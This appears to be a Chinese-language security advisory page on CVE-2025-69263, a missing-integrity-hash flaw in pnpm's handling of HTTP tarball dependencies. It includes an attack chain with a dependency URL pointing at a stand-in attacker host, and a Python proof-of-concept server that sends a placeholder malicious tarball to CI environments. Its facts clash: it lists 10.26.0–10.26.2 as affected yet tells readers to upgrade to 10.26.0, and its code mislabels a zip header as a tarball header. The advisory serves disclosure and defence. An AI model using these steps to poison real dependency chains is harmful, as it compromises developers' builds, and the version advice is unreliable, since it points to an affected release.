IPBUF安全漏洞报告
English
CVE-2025-69263 CVSS 7.5 高危

CVE-2025-69263 pnpm HTTP tarball依赖完整性验证缺失漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-69263
漏洞类型
供应链攻击/完整性验证缺失
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
pnpm (JavaScript包管理器)

相关标签

供应链攻击完整性验证缺失pnpmtarball依赖管理锁定文件绕过JavaScriptNode.js高危漏洞

漏洞概述

pnpm是一款流行的JavaScript包管理器,广泛用于Node.js项目中。2026年1月披露的安全漏洞显示,pnpm在10.26.2及以下版本中存在严重的安全缺陷:HTTP tarball依赖和git托管的tarball依赖在锁定文件中存储时未包含完整性哈希值。这一设计缺陷导致远程服务器可以在每次安装时提供不同的内容,即使项目已提交了锁定文件(lockfile)也无法提供保护。攻击者可以发布包含HTTP tarball依赖的恶意包,当受害者安装该包或其依赖树中的任何包时,攻击者能够根据不同的用户或CI/CD环境提供不同的代码。这种攻击方式具有高度的隐蔽性,因为传统的包管理器安全机制(如锁定文件)对此类攻击无效。该漏洞影响所有使用pnpm管理依赖的项目,特别是在自动化构建和持续集成环境中风险更高,因为攻击者可以针对特定构建环境定制恶意负载。

技术细节

漏洞根源在于pnpm的依赖解析和锁定机制设计。当解析HTTP tarball依赖时,pnpm仅记录依赖的URL和版本信息,而不存储内容的完整性哈希(如SHA-256)。在后续安装过程中,pnpm会直接从指定URL重新下载tarball包,而不验证内容是否与首次安装时一致。攻击者利用这一特性可以:1)在受害者首次安装时提供正常代码,待锁定文件提交后切换为恶意代码;2)根据请求来源的IP地址、User-Agent或其他特征返回不同内容;3)在CI/CD环境中针对特定构建系统或配置返回定制化payload。由于锁定文件本身不包含完整性验证信息,即使项目完全锁定依赖版本也无法阻止此类攻击。攻击的触发条件是受害者的依赖树中存在任意一层使用HTTP URL直接引用tarball的包,而非通过npm registry的标准分发机制。

攻击链分析

STEP 1
步骤1
攻击者注册npm账户并创建恶意包,该包的package.json中声明HTTP tarball依赖(如:"dependencies": {"evil-lib": "http://attacker-controlled-server.com/evil.tar.gz"})
STEP 2
步骤2
攻击者部署恶意HTTP服务器,初始提供正常功能的tarball包,同时监控访问日志以识别受害者
STEP 3
步骤3
受害者使用pnpm install安装该恶意包,pnpm将HTTP URL和版本记录到pnpm-lock.yaml中,但未存储内容完整性哈希
STEP 4
步骤4
受害者将包含恶意包依赖的项目代码和锁定文件提交到版本控制系统(如Git)
STEP 5
步骤5
攻击者通过分析提交记录或等待时机成熟后,修改HTTP服务器上的tarball内容,注入恶意代码
STEP 6
步骤6
受害者在本地开发、CI/CD构建或新环境中重新安装依赖时,pnpm从攻击者服务器下载更新后的恶意tarball
STEP 7
步骤7
恶意代码在受害者环境中执行,可实现敏感信息窃取、供应链进一步污染或远程代码执行等攻击目标

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-69263 PoC - Simulated Attack Scenario # This PoC demonstrates how an attacker can exploit the integrity hash absence import http.server import hashlib import json from datetime import datetime class MaliciousTarballServer(http.server.BaseHTTPRequestHandler): """Attacker-controlled server serving different content based on request""" def do_GET(self): # Normal tarball content (served on first install) normal_content = b'PK\x03\x04...' # Valid tarball header # Malicious tarball content (served after lockfile committed) malicious_content = b'PK\x03\x04# Malicious package with backdoor\n' # Check if request comes from CI/CD or has specific indicators user_agent = self.headers.get('User-Agent', '') if 'CI' in user_agent or 'GitHub' in user_agent or 'GitLab' in user_agent: # Serve malicious payload to CI/CD environments content = malicious_content print(f"[{datetime.now()}] Served MALICIOUS payload to: {user_agent}") else: # Serve legitimate content to developers content = normal_content print(f"[{datetime.now()}] Served NORMAL payload to: {user_agent}") self.send_response(200) self.send_header('Content-Type', 'application/gzip') self.send_header('Content-Length', len(content)) self.end_headers() self.wfile.write(content) # Attacker workflow: # 1. Publish malicious package to npm with HTTP tarball dependency # 2. Set up controlled server (MaliciousTarballServer) # 3. Wait for victims to install package and commit lockfile # 4. Modify server to serve different/malicious payload # 5. Victims in CI/CD get backdoored code # Vulnerable pnpm lockfile entry (no integrity hash): vulnerable_lockfile_entry = { "packages": { "/my-malicious-dep/1.0.0": { "resolution": { "tarball": "http://attacker-server.com/malicious.tar.gz" } # Missing integrity hash - the core vulnerability } } }

影响范围

pnpm < 10.26.0
pnpm 10.26.0 - 10.26.2 (affected)

防御指南

临时缓解措施
立即将pnpm升级到10.26.0及以上版本;检查项目依赖中是否存在HTTP tarball引用(package.json或pnpm-lock.yaml中包含http://或https://开头的tarball URL),如有发现应替换为标准npm registry包或使用HTTPS+完整性哈希验证的方案;在CI/CD环境中实施依赖锁定和完整性校验,确保构建过程的可重现性和安全性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表